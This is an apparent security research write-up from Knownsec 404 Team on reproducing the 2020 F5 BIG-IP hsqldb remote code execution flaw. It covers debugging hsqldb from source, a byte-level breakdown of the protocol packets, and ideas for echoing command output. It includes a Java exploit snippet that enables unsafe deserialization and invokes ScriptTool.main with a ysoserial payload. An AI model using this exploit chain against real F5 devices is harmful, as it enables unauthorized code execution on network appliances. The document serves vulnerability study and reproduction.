Author：Longofo@Knownsec 404 Team
Date: July 10, 2020
Chinese Version: https://paper.seebug.org/1271/

F5 BIG-IP has recently suffered a serious RCE vulnerability. The main public entrypoint is the tmsh and hsqldb. There are many uses and analysis of tmsh. If you have reproduced the use of tmsh, you should know that this place is used. Some tasteless, tmsh will not be analyzed later, mainly look at the use of hsqldb. The use of hsqldb poc has been published, but the https of java hsqldb has been unable to reproduce, try There is no way to do it in various ways, so I have to change other ideas. The following records the process of recurrence and stepping on the pit.

#### Use the source code to build an hsqldb http servlet

If you have debugged hsqldb, you should know that the code of hsqldb.jar cannot be debugged with a breakpoint. This is because the linenumber table information of the class in hsqldb is gone. The linenumber table is only used for debugging. There is nothing for the normal running of the code. influences. See the difference between the normally compiled class and the lineumber table of the hqldb class:

Use the javap -verbose hsqlServlet.class command to see the details of the hsqlServlet.class class in hsqldb:

Classfile /C:/Users/dell/Desktop/hsqlServlet.class
MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref          #3.#7          // org/hsqldb/Servlet."<init>":()V
#2 = Class              #8             // hsqlServlet
#3 = Class              #9             // org/hsqldb/Servlet
#4 = Utf8               <init>
#5 = Utf8               ()V
#6 = Utf8               Code
#7 = NameAndType        #4:#5          // "<init>":()V
#8 = Utf8               hsqlServlet
#9 = Utf8               org/hsqldb/Servlet
{
public hsqlServlet();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
1: invokespecial #1                  // Method org/hsqldb/Servlet."<init>":()V
4: return
}

Use javap -verbose Test.class to see the class information we compiled:

Classfile /C:/Users/dell/Desktop/Test.class
MD5 checksum eea80d1f399295a29f02f30a3764ff25
Compiled from "Test.java"
public class Test
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref          #7.#22         // java/lang/Object."<init>":()V
#2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
#3 = String             #25            // aaa
#4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = String             #19            // test
#6 = Class              #28            // Test
#7 = Class              #29            // java/lang/Object
#8 = Utf8               <init>
#9 = Utf8               ()V
#10 = Utf8               Code
#11 = Utf8               LineNumberTable
#12 = Utf8               LocalVariableTable
#13 = Utf8               this
#14 = Utf8               LTest;
#15 = Utf8               main
#16 = Utf8               ([Ljava/lang/String;)V
#17 = Utf8               args
#18 = Utf8               [Ljava/lang/String;
#19 = Utf8               test
#20 = Utf8               SourceFile
#21 = Utf8               Test.java
#22 = NameAndType        #8:#9          // "<init>":()V
#23 = Class              #30            // java/lang/System
#24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
#25 = Utf8               aaa
#26 = Class              #33            // java/io/PrintStream
#27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
#28 = Utf8               Test
#29 = Utf8               java/lang/Object
#30 = Utf8               java/lang/System
#31 = Utf8               out
#32 = Utf8               Ljava/io/PrintStream;
#33 = Utf8               java/io/PrintStream
#34 = Utf8               println
#35 = Utf8               (Ljava/lang/String;)V
{
public Test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
1: invokespecial #1                  // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 1: 0
LocalVariableTable:
Start  Length  Slot  Name   Signature
0       5     0  this   LTest;

public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=2, locals=1, args_size=1
0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc           #3                  // String aaa
5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
LocalVariableTable:
Start  Length  Slot  Name   Signature
0       9     0  args   [Ljava/lang/String;

public void test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=2, locals=1, args_size=1
0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc           #5                  // String test
5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 7: 0
line 8: 8
LocalVariableTable:
Start  Length  Slot  Name   Signature
0       9     0  this   LTest;
}
SourceFile: "Test.java"

We can see that in the class you compiled, each method has a LineNumberTable. This information is used for debugging, but there is no such information in hsqldb, so it is impossible to debug breakpoints. hsqldb should add some parameters during compilation or use other ways to remove this information.

No way to debug is a very uncomfortable thing, I think of two now to debug:

1. Decompile the code of hsqldb and recompile it by yourself, so that there is linenumber information, but decompilation and recompilation may encounter some error problems. This part has to manually correct the code manually, which is indeed feasible. This way can be seen in the hsqldb analysis of f5
2. Open source code, run directly with source code

The code of hsqldb happens to be open source, so let's start a servlet directly with the source code.

Environment:

• The hsqldb source code is 1.8, and the new version is now 2.5.x. To match the hsqldb in f5, use the 1.8 code.
• JDK7u21, JDK7 used in F5 BIG-IP version 14, so try to match it to avoid various problems.

Although it is open source, there are still some problems when dragging to idea. I modified some codes to let him run normally. The modified code is put in github on, the final project structure is as follows:

Use http to exploit the hsqldb vulnerability (ysoserial cc6, many other chains are also acceptable):

public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";

String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");

Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
}

#### Use requests to send packets to simulate hsqldb RCE

The java hsqldb https problem cannot be solved, then use requests to send https packages, first simulate the http package. Grab the payload package sent using the java code above, a total of three packages were sent, the first is the connection package, which is connected to the hsqldb database, and the second and third packages are the packages that execute the statement:

According to the code, look at the specific information returned by the first data packet. The main read and write information is handled by the Result class, which is 20 bytes in total:

• 1~4: total length 00000014, a total of 20 bytes
• 5~8: mode, connection is ResultConstants.UPDATECOUNT, is 1, 00000001
• 9~12: databaseID, if the default configuration is directly like the above, databaseID will not be assigned on the server side, initialized by jdk to 0, 00000000
• 13~16: sessionID, this value is the value assigned by DatabaseManager.newSession, each connection is a new value, this time is 00000003
• 17~20: for connection, it is updateCount. Note the max rows (out) or update count (in) written above. If the default configuration is as above, updateCount will not be assigned on the server side, initialized by jdk to 0, 00000000

After the analysis of the connection information is completed, the next packet will definitely use the information of the first returned packet and attach it to the subsequent sending packet. Here only the second sending packet is analyzed, and the third packet is the same as the second one. , Are all packages that execute statements:

• 1~4: The total length is 00000082, here is 130
• 5~8: mode, here is ResultConstants.SQLEXECDIRECT, 0001000b
• 9~12: databaseID, which is 00000000 above
• 13~16: sessionID, which is 00000003 above
• 17~20: updateCount, which is 00000000 above
• 21~25: statementID, this is sent by the client, in fact it does not matter, this time is 00000000
• 26~30: Length of execution statement
• 31~: All statements are executed later

It can be seen that the above processing process is very simple. Through this analysis, it is easy to send requests using requests. For https, just set verify=False.

#### Deserialize the trigger position

The trigger position of deserialization here is:

In fact, it is not caused by org.hsqldb.util.ScriptTool.main, but by the deserialization caused by the parsing of the syntax of the hsqldb parser. Just change the ScriptTool to another one, for example, org.hsqldb.sample.FindFile.main is also ok.

#### F5 BIG-IP hsqldb debugging

If you still want to debug the F5 BIG-IP hsqldb, it is also possible. The hsqldb in the F5 BIG-IP adds some code itself, decompiles his code, then corrects the decompiled code error, and then repackages it. It can be debugged.

#### F5 BIG-IP hsqldb echo

• Since it can be deserialized, it can be written to the response using the template-related utilization chain
• Use the command to find the fd file of the socket and write it to the socket